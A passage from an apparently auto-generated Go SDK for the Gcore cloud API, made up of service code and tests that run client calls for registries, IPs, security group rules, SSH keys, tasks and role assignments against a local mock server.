) 118 | if err != nil { 119 | var apierr *gcore.Error 120 | if errors.As(err, &apierr) { 121 | t.Log(string(apierr.DumpRequest(true))) 122 | } 123 | t.Fatalf("err should be nil: %s", err.Error()) 124 | } 125 | } 126 | 127 | func TestRegistryResizeWithOptionalParams(t *testing.T) { 128 | baseURL := "http://localhost:4010" 129 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 130 | baseURL = envURL 131 | } 132 | if !testutil.CheckTestServer(t, baseURL) { 133 | return 134 | } 135 | client := gcore.NewClient( 136 | option.WithBaseURL(baseURL), 137 | option.WithAPIKey("My API Key"), 138 | ) 139 | _, err := client.Cloud.Registries.Resize( 140 | context.TODO(), 141 | 0, 142 | cloud.RegistryResizeParams{ 143 | ProjectID: gcore.Int(0), 144 | RegionID: gcore.Int(0), 145 | StorageLimit: gcore.Int(5), 146 | }, 147 | ) 148 | if err != nil { 149 | var apierr *gcore.Error 150 | if errors.As(err, &apierr) { 151 | t.Log(string(apierr.DumpRequest(true))) 152 | } 153 | t.Fatalf("err should be nil: %s", err.Error()) 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /cloud/registryartifact_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestRegistryArtifactList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Registries.Artifacts.List( 30 | context.TODO(), 31 | "repository_name", 32 | cloud.RegistryArtifactListParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | RegistryID: 0, 36 | }, 37 | ) 38 | if err != nil { 39 | var apierr *gcore.Error 40 | if errors.As(err, &apierr) { 41 | t.Log(string(apierr.DumpRequest(true))) 42 | } 43 | t.Fatalf("err should be nil: %s", err.Error()) 44 | } 45 | } 46 | 47 | func TestRegistryArtifactDelete(t *testing.T) { 48 | baseURL := "http://localhost:4010" 49 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 50 | baseURL = envURL 51 | } 52 | if !testutil.CheckTestServer(t, baseURL) { 53 | return 54 | } 55 | client := gcore.NewClient( 56 | option.WithBaseURL(baseURL), 57 | option.WithAPIKey("My API Key"), 58 | ) 59 | err := client.Cloud.Registries.Artifacts.Delete( 60 | context.TODO(), 61 | "digest", 62 | cloud.RegistryArtifactDeleteParams{ 63 | ProjectID: gcore.Int(0), 64 | RegionID: gcore.Int(0), 65 | RegistryID: 0, 66 | RepositoryName: "repository_name", 67 | }, 68 | ) 69 | if err != nil { 70 | var apierr *gcore.Error 71 | if errors.As(err, &apierr) { 72 | t.Log(string(apierr.DumpRequest(true))) 73 | } 74 | t.Fatalf("err should be nil: %s", err.Error()) 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /cloud/registryrepository_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestRegistryRepositoryList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Registries.Repositories.List( 30 | context.TODO(), 31 | 0, 32 | cloud.RegistryRepositoryListParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | }, 36 | ) 37 | if err != nil { 38 | var apierr *gcore.Error 39 | if errors.As(err, &apierr) { 40 | t.Log(string(apierr.DumpRequest(true))) 41 | } 42 | t.Fatalf("err should be nil: %s", err.Error()) 43 | } 44 | } 45 | 46 | func TestRegistryRepositoryDelete(t *testing.T) { 47 | baseURL := "http://localhost:4010" 48 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 49 | baseURL = envURL 50 | } 51 | if !testutil.CheckTestServer(t, baseURL) { 52 | return 53 | } 54 | client := gcore.NewClient( 55 | option.WithBaseURL(baseURL), 56 | option.WithAPIKey("My API Key"), 57 | ) 58 | err := client.Cloud.Registries.Repositories.Delete( 59 | context.TODO(), 60 | "repository_name", 61 | cloud.RegistryRepositoryDeleteParams{ 62 | ProjectID: gcore.Int(0), 63 | RegionID: gcore.Int(0), 64 | RegistryID: 0, 65 | }, 66 | ) 67 | if err != nil { 68 | var apierr *gcore.Error 69 | if errors.As(err, &apierr) { 70 | t.Log(string(apierr.DumpRequest(true))) 71 | } 72 | t.Fatalf("err should be nil: %s", err.Error()) 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /cloud/registrytag.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | 11 | "github.com/stridentmare/gcore-go/internal/requestconfig" 12 | "github.com/stridentmare/gcore-go/option" 13 | "github.com/stridentmare/gcore-go/packages/param" 14 | ) 15 | 16 | // RegistryTagService contains methods and other services that help with 17 | // interacting with the gcore API. 18 | // 19 | // Note, unlike clients, this service does not read variables from the environment 20 | // automatically. You should not instantiate this service directly, and instead use 21 | // the [NewRegistryTagService] method instead. 22 | type RegistryTagService struct { 23 | Options []option.RequestOption 24 | } 25 | 26 | // NewRegistryTagService generates a new service that applies the given options to 27 | // each request. These options are applied after the parent client's options (if 28 | // there is one), and before any request-specific options. 29 | func NewRegistryTagService(opts ...option.RequestOption) (r RegistryTagService) { 30 | r = RegistryTagService{} 31 | r.Options = opts 32 | return 33 | } 34 | 35 | // Delete a tag 36 | func (r *RegistryTagService) Delete(ctx context.Context, tagName string, body RegistryTagDeleteParams, opts ...option.RequestOption) (err error) { 37 | opts = append(r.Options[:], opts...) 38 | opts = append([]option.RequestOption{option.WithHeader("Accept", "")}, opts...) 39 | precfg, err := requestconfig.PreRequestOptions(opts...) 40 | if err != nil { 41 | return 42 | } 43 | requestconfig.UseDefaultParam(&body.ProjectID, precfg.CloudProjectID) 44 | requestconfig.UseDefaultParam(&body.RegionID, precfg.CloudRegionID) 45 | if !body.ProjectID.Valid() { 46 | err = errors.New("missing required project_id parameter") 47 | return 48 | } 49 | if !body.RegionID.Valid() { 50 | err = errors.New("missing required region_id parameter") 51 | return 52 | } 53 | if body.RepositoryName == "" { 54 | err = errors.New("missing required repository_name parameter") 55 | return 56 | } 57 | if body.Digest == "" { 58 | err = errors.New("missing required digest parameter") 59 | return 60 | } 61 | if tagName == "" { 62 | err = errors.New("missing required tag_name parameter") 63 | return 64 | } 65 | path := fmt.Sprintf("cloud/v1/registries/%v/%v/%v/repositories/%s/artifacts/%s/tags/%s", body.ProjectID.Value, body.RegionID.Value, body.RegistryID, body.RepositoryName, body.Digest, tagName) 66 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodDelete, path, nil, nil, opts...) 67 | return 68 | } 69 | 70 | type RegistryTagDeleteParams struct { 71 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 72 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 73 | RegistryID int64 `path:"registry_id,required" json:"-"` 74 | RepositoryName string `path:"repository_name,required" json:"-"` 75 | Digest string `path:"digest,required" json:"-"` 76 | paramObj 77 | } 78 | -------------------------------------------------------------------------------- /cloud/registrytag_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestRegistryTagDelete(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | err := client.Cloud.Registries.Tags.Delete( 30 | context.TODO(), 31 | "tag_name", 32 | cloud.RegistryTagDeleteParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | RegistryID: 0, 36 | RepositoryName: "repository_name", 37 | Digest: "digest", 38 | }, 39 | ) 40 | if err != nil { 41 | var apierr *gcore.Error 42 | if errors.As(err, &apierr) { 43 | t.Log(string(apierr.DumpRequest(true))) 44 | } 45 | t.Fatalf("err should be nil: %s", err.Error()) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /cloud/reservedfixedip_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestReservedFixedIPNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.ReservedFixedIPs.New(context.TODO(), cloud.ReservedFixedIPNewParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | OfExternal: &cloud.ReservedFixedIPNewParamsBodyExternal{ 33 | IPFamily: cloud.InterfaceIPFamilyDual, 34 | IsVip: gcore.Bool(false), 35 | }, 36 | }) 37 | if err != nil { 38 | var apierr *gcore.Error 39 | if errors.As(err, &apierr) { 40 | t.Log(string(apierr.DumpRequest(true))) 41 | } 42 | t.Fatalf("err should be nil: %s", err.Error()) 43 | } 44 | } 45 | 46 | func TestReservedFixedIPListWithOptionalParams(t *testing.T) { 47 | baseURL := "http://localhost:4010" 48 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 49 | baseURL = envURL 50 | } 51 | if !testutil.CheckTestServer(t, baseURL) { 52 | return 53 | } 54 | client := gcore.NewClient( 55 | option.WithBaseURL(baseURL), 56 | option.WithAPIKey("My API Key"), 57 | ) 58 | _, err := client.Cloud.ReservedFixedIPs.List(context.TODO(), cloud.ReservedFixedIPListParams{ 59 | ProjectID: gcore.Int(0), 60 | RegionID: gcore.Int(0), 61 | AvailableOnly: gcore.Bool(true), 62 | DeviceID: gcore.String("device_id"), 63 | ExternalOnly: gcore.Bool(true), 64 | InternalOnly: gcore.Bool(true), 65 | IPAddress: gcore.String("ip_address"), 66 | Limit: gcore.Int(0), 67 | Offset: gcore.Int(0), 68 | OrderBy: gcore.String("order_by"), 69 | VipOnly: gcore.Bool(true), 70 | }) 71 | if err != nil { 72 | var apierr *gcore.Error 73 | if errors.As(err, &apierr) { 74 | t.Log(string(apierr.DumpRequest(true))) 75 | } 76 | t.Fatalf("err should be nil: %s", err.Error()) 77 | } 78 | } 79 | 80 | func TestReservedFixedIPDelete(t *testing.T) { 81 | baseURL := "http://localhost:4010" 82 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 83 | baseURL = envURL 84 | } 85 | if !testutil.CheckTestServer(t, baseURL) { 86 | return 87 | } 88 | client := gcore.NewClient( 89 | option.WithBaseURL(baseURL), 90 | option.WithAPIKey("My API Key"), 91 | ) 92 | _, err := client.Cloud.ReservedFixedIPs.Delete( 93 | context.TODO(), 94 | "port_id", 95 | cloud.ReservedFixedIPDeleteParams{ 96 | ProjectID: gcore.Int(0), 97 | RegionID: gcore.Int(0), 98 | }, 99 | ) 100 | if err != nil { 101 | var apierr *gcore.Error 102 | if errors.As(err, &apierr) { 103 | t.Log(string(apierr.DumpRequest(true))) 104 | } 105 | t.Fatalf("err should be nil: %s", err.Error()) 106 | } 107 | } 108 | 109 | func TestReservedFixedIPGet(t *testing.T) { 110 | baseURL := "http://localhost:4010" 111 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 112 | baseURL = envURL 113 | } 114 | if !testutil.CheckTestServer(t, baseURL) { 115 | return 116 | } 117 | client := gcore.NewClient( 118 | option.WithBaseURL(baseURL), 119 | option.WithAPIKey("My API Key"), 120 | ) 121 | _, err := client.Cloud.ReservedFixedIPs.Get( 122 | context.TODO(), 123 | "port_id", 124 | cloud.ReservedFixedIPGetParams{ 125 | ProjectID: gcore.Int(0), 126 | RegionID: gcore.Int(0), 127 | }, 128 | ) 129 | if err != nil { 130 | var apierr *gcore.Error 131 | if errors.As(err, &apierr) { 132 | t.Log(string(apierr.DumpRequest(true))) 133 | } 134 | t.Fatalf("err should be nil: %s", err.Error()) 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /cloud/securitygrouprule_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestSecurityGroupRuleNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.SecurityGroups.Rules.New( 30 | context.TODO(), 31 | "group_id", 32 | cloud.SecurityGroupRuleNewParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | Description: gcore.String("Some description"), 36 | Direction: cloud.SecurityGroupRuleNewParamsDirectionIngress, 37 | Ethertype: cloud.SecurityGroupRuleNewParamsEthertypeIPv4, 38 | PortRangeMax: gcore.Int(80), 39 | PortRangeMin: gcore.Int(80), 40 | Protocol: cloud.SecurityGroupRuleNewParamsProtocolTcp, 41 | RemoteGroupID: gcore.String("00000000-0000-4000-8000-000000000000"), 42 | RemoteIPPrefix: gcore.String("10.0.0.0/8"), 43 | }, 44 | ) 45 | if err != nil { 46 | var apierr *gcore.Error 47 | if errors.As(err, &apierr) { 48 | t.Log(string(apierr.DumpRequest(true))) 49 | } 50 | t.Fatalf("err should be nil: %s", err.Error()) 51 | } 52 | } 53 | 54 | func TestSecurityGroupRuleDelete(t *testing.T) { 55 | baseURL := "http://localhost:4010" 56 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 57 | baseURL = envURL 58 | } 59 | if !testutil.CheckTestServer(t, baseURL) { 60 | return 61 | } 62 | client := gcore.NewClient( 63 | option.WithBaseURL(baseURL), 64 | option.WithAPIKey("My API Key"), 65 | ) 66 | err := client.Cloud.SecurityGroups.Rules.Delete( 67 | context.TODO(), 68 | "rule_id", 69 | cloud.SecurityGroupRuleDeleteParams{ 70 | ProjectID: gcore.Int(0), 71 | RegionID: gcore.Int(0), 72 | }, 73 | ) 74 | if err != nil { 75 | var apierr *gcore.Error 76 | if errors.As(err, &apierr) { 77 | t.Log(string(apierr.DumpRequest(true))) 78 | } 79 | t.Fatalf("err should be nil: %s", err.Error()) 80 | } 81 | } 82 | 83 | func TestSecurityGroupRuleReplaceWithOptionalParams(t *testing.T) { 84 | baseURL := "http://localhost:4010" 85 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 86 | baseURL = envURL 87 | } 88 | if !testutil.CheckTestServer(t, baseURL) { 89 | return 90 | } 91 | client := gcore.NewClient( 92 | option.WithBaseURL(baseURL), 93 | option.WithAPIKey("My API Key"), 94 | ) 95 | _, err := client.Cloud.SecurityGroups.Rules.Replace( 96 | context.TODO(), 97 | "rule_id", 98 | cloud.SecurityGroupRuleReplaceParams{ 99 | ProjectID: gcore.Int(0), 100 | RegionID: gcore.Int(0), 101 | Direction: cloud.SecurityGroupRuleReplaceParamsDirectionIngress, 102 | SecurityGroupID: "00000000-0000-4000-8000-000000000000", 103 | Description: gcore.String("Some description"), 104 | Ethertype: cloud.SecurityGroupRuleReplaceParamsEthertypeIPv4, 105 | PortRangeMax: gcore.Int(80), 106 | PortRangeMin: gcore.Int(80), 107 | Protocol: cloud.SecurityGroupRuleReplaceParamsProtocolTcp, 108 | RemoteGroupID: gcore.String("00000000-0000-4000-8000-000000000000"), 109 | RemoteIPPrefix: gcore.String("10.0.0.0/8"), 110 | }, 111 | ) 112 | if err != nil { 113 | var apierr *gcore.Error 114 | if errors.As(err, &apierr) { 115 | t.Log(string(apierr.DumpRequest(true))) 116 | } 117 | t.Fatalf("err should be nil: %s", err.Error()) 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /cloud/sshkey_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestSSHKeyNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.SSHKeys.New(context.TODO(), cloud.SSHKeyNewParams{ 30 | ProjectID: gcore.Int(1), 31 | Name: "my-ssh-key", 32 | PublicKey: gcore.String("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIjxL6g1II8NsO8odvBwGKvq2Dx/h/xrvsV9b9LVIYKm my-username@my-hostname"), 33 | SharedInProject: gcore.Bool(true), 34 | }) 35 | if err != nil { 36 | var apierr *gcore.Error 37 | if errors.As(err, &apierr) { 38 | t.Log(string(apierr.DumpRequest(true))) 39 | } 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | } 43 | 44 | func TestSSHKeyUpdate(t *testing.T) { 45 | baseURL := "http://localhost:4010" 46 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 47 | baseURL = envURL 48 | } 49 | if !testutil.CheckTestServer(t, baseURL) { 50 | return 51 | } 52 | client := gcore.NewClient( 53 | option.WithBaseURL(baseURL), 54 | option.WithAPIKey("My API Key"), 55 | ) 56 | _, err := client.Cloud.SSHKeys.Update( 57 | context.TODO(), 58 | "36a7a97a-0672-4911-8f2b-92cd4e5b0d91", 59 | cloud.SSHKeyUpdateParams{ 60 | ProjectID: gcore.Int(1), 61 | SharedInProject: true, 62 | }, 63 | ) 64 | if err != nil { 65 | var apierr *gcore.Error 66 | if errors.As(err, &apierr) { 67 | t.Log(string(apierr.DumpRequest(true))) 68 | } 69 | t.Fatalf("err should be nil: %s", err.Error()) 70 | } 71 | } 72 | 73 | func TestSSHKeyListWithOptionalParams(t *testing.T) { 74 | baseURL := "http://localhost:4010" 75 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 76 | baseURL = envURL 77 | } 78 | if !testutil.CheckTestServer(t, baseURL) { 79 | return 80 | } 81 | client := gcore.NewClient( 82 | option.WithBaseURL(baseURL), 83 | option.WithAPIKey("My API Key"), 84 | ) 85 | _, err := client.Cloud.SSHKeys.List(context.TODO(), cloud.SSHKeyListParams{ 86 | ProjectID: gcore.Int(1), 87 | Limit: gcore.Int(100), 88 | Offset: gcore.Int(0), 89 | OrderBy: cloud.SSHKeyListParamsOrderByCreatedAtDesc, 90 | }) 91 | if err != nil { 92 | var apierr *gcore.Error 93 | if errors.As(err, &apierr) { 94 | t.Log(string(apierr.DumpRequest(true))) 95 | } 96 | t.Fatalf("err should be nil: %s", err.Error()) 97 | } 98 | } 99 | 100 | func TestSSHKeyDelete(t *testing.T) { 101 | baseURL := "http://localhost:4010" 102 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 103 | baseURL = envURL 104 | } 105 | if !testutil.CheckTestServer(t, baseURL) { 106 | return 107 | } 108 | client := gcore.NewClient( 109 | option.WithBaseURL(baseURL), 110 | option.WithAPIKey("My API Key"), 111 | ) 112 | err := client.Cloud.SSHKeys.Delete( 113 | context.TODO(), 114 | "36a7a97a-0672-4911-8f2b-92cd4e5b0d91", 115 | cloud.SSHKeyDeleteParams{ 116 | ProjectID: gcore.Int(1), 117 | }, 118 | ) 119 | if err != nil { 120 | var apierr *gcore.Error 121 | if errors.As(err, &apierr) { 122 | t.Log(string(apierr.DumpRequest(true))) 123 | } 124 | t.Fatalf("err should be nil: %s", err.Error()) 125 | } 126 | } 127 | 128 | func TestSSHKeyGet(t *testing.T) { 129 | baseURL := "http://localhost:4010" 130 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 131 | baseURL = envURL 132 | } 133 | if !testutil.CheckTestServer(t, baseURL) { 134 | return 135 | } 136 | client := gcore.NewClient( 137 | option.WithBaseURL(baseURL), 138 | option.WithAPIKey("My API Key"), 139 | ) 140 | _, err := client.Cloud.SSHKeys.Get( 141 | context.TODO(), 142 | "36a7a97a-0672-4911-8f2b-92cd4e5b0d91", 143 | cloud.SSHKeyGetParams{ 144 | ProjectID: gcore.Int(1), 145 | }, 146 | ) 147 | if err != nil { 148 | var apierr *gcore.Error 149 | if errors.As(err, &apierr) { 150 | t.Log(string(apierr.DumpRequest(true))) 151 | } 152 | t.Fatalf("err should be nil: %s", err.Error()) 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /cloud/task_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | "time" 11 | 12 | "github.com/stridentmare/gcore-go" 13 | "github.com/stridentmare/gcore-go/cloud" 14 | "github.com/stridentmare/gcore-go/internal/testutil" 15 | "github.com/stridentmare/gcore-go/option" 16 | ) 17 | 18 | func TestTaskListWithOptionalParams(t *testing.T) { 19 | baseURL := "http://localhost:4010" 20 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 21 | baseURL = envURL 22 | } 23 | if !testutil.CheckTestServer(t, baseURL) { 24 | return 25 | } 26 | client := gcore.NewClient( 27 | option.WithBaseURL(baseURL), 28 | option.WithAPIKey("My API Key"), 29 | ) 30 | _, err := client.Cloud.Tasks.List(context.TODO(), cloud.TaskListParams{ 31 | FromTimestamp: gcore.Time(time.Now()), 32 | IsAcknowledged: gcore.Bool(true), 33 | Limit: gcore.Int(100), 34 | Offset: gcore.Int(0), 35 | ProjectID: []int64{0, 0}, 36 | RegionID: []int64{0, 0}, 37 | Sorting: cloud.TaskListParamsSortingAsc, 38 | State: []string{"ERROR", "FINISHED"}, 39 | TaskType: gcore.String("task_type"), 40 | ToTimestamp: gcore.Time(time.Now()), 41 | }) 42 | if err != nil { 43 | var apierr *gcore.Error 44 | if errors.As(err, &apierr) { 45 | t.Log(string(apierr.DumpRequest(true))) 46 | } 47 | t.Fatalf("err should be nil: %s", err.Error()) 48 | } 49 | } 50 | 51 | func TestTaskAcknowledgeAllWithOptionalParams(t *testing.T) { 52 | baseURL := "http://localhost:4010" 53 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 54 | baseURL = envURL 55 | } 56 | if !testutil.CheckTestServer(t, baseURL) { 57 | return 58 | } 59 | client := gcore.NewClient( 60 | option.WithBaseURL(baseURL), 61 | option.WithAPIKey("My API Key"), 62 | ) 63 | err := client.Cloud.Tasks.AcknowledgeAll(context.TODO(), cloud.TaskAcknowledgeAllParams{ 64 | ProjectID: gcore.Int(0), 65 | RegionID: gcore.Int(0), 66 | }) 67 | if err != nil { 68 | var apierr *gcore.Error 69 | if errors.As(err, &apierr) { 70 | t.Log(string(apierr.DumpRequest(true))) 71 | } 72 | t.Fatalf("err should be nil: %s", err.Error()) 73 | } 74 | } 75 | 76 | func TestTaskAcknowledgeOne(t *testing.T) { 77 | baseURL := "http://localhost:4010" 78 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 79 | baseURL = envURL 80 | } 81 | if !testutil.CheckTestServer(t, baseURL) { 82 | return 83 | } 84 | client := gcore.NewClient( 85 | option.WithBaseURL(baseURL), 86 | option.WithAPIKey("My API Key"), 87 | ) 88 | _, err := client.Cloud.Tasks.AcknowledgeOne(context.TODO(), "task_id") 89 | if err != nil { 90 | var apierr *gcore.Error 91 | if errors.As(err, &apierr) { 92 | t.Log(string(apierr.DumpRequest(true))) 93 | } 94 | t.Fatalf("err should be nil: %s", err.Error()) 95 | } 96 | } 97 | 98 | func TestTaskGet(t *testing.T) { 99 | baseURL := "http://localhost:4010" 100 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 101 | baseURL = envURL 102 | } 103 | if !testutil.CheckTestServer(t, baseURL) { 104 | return 105 | } 106 | client := gcore.NewClient( 107 | option.WithBaseURL(baseURL), 108 | option.WithAPIKey("My API Key"), 109 | ) 110 | _, err := client.Cloud.Tasks.Get(context.TODO(), "task_id") 111 | if err != nil { 112 | var apierr *gcore.Error 113 | if errors.As(err, &apierr) { 114 | t.Log(string(apierr.DumpRequest(true))) 115 | } 116 | t.Fatalf("err should be nil: %s", err.Error()) 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /cloud/user.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "github.com/stridentmare/gcore-go/option" 7 | ) 8 | 9 | // UserService contains methods and other services that help with interacting with 10 | // the gcore API. 11 | // 12 | // Note, unlike clients, this service does not read variables from the environment 13 | // automatically. You should not instantiate this service directly, and instead use 14 | // the [NewUserService] method instead. 15 | type UserService struct { 16 | Options []option.RequestOption 17 | RoleAssignments UserRoleAssignmentService 18 | } 19 | 20 | // NewUserService generates a new service that applies the given options to each 21 | // request. These options are applied after the parent client's options (if there 22 | // is one), and before any request-specific options. 23 | func NewUserService(opts ...option.RequestOption) (r UserService) { 24 | r = UserService{} 25 | r.Options = opts 26 | r.RoleAssignments = NewUserRoleAssignmentService(opts...) 27 | return 28 | } 29 | -------------------------------------------------------------------------------- /cloud/userroleassignment_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestUserRoleAssignmentNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Users.RoleAssignments.New(context.TODO(), cloud.UserRoleAssignmentNewParams{ 30 | Role: "ClientAdministrator", 31 | UserID: 777, 32 | ClientID: gcore.Int(8), 33 | ProjectID: gcore.Int(0), 34 | }) 35 | if err != nil { 36 | var apierr *gcore.Error 37 | if errors.As(err, &apierr) { 38 | t.Log(string(apierr.DumpRequest(true))) 39 | } 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | } 43 | 44 | func TestUserRoleAssignmentUpdateWithOptionalParams(t *testing.T) { 45 | baseURL := "http://localhost:4010" 46 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 47 | baseURL = envURL 48 | } 49 | if 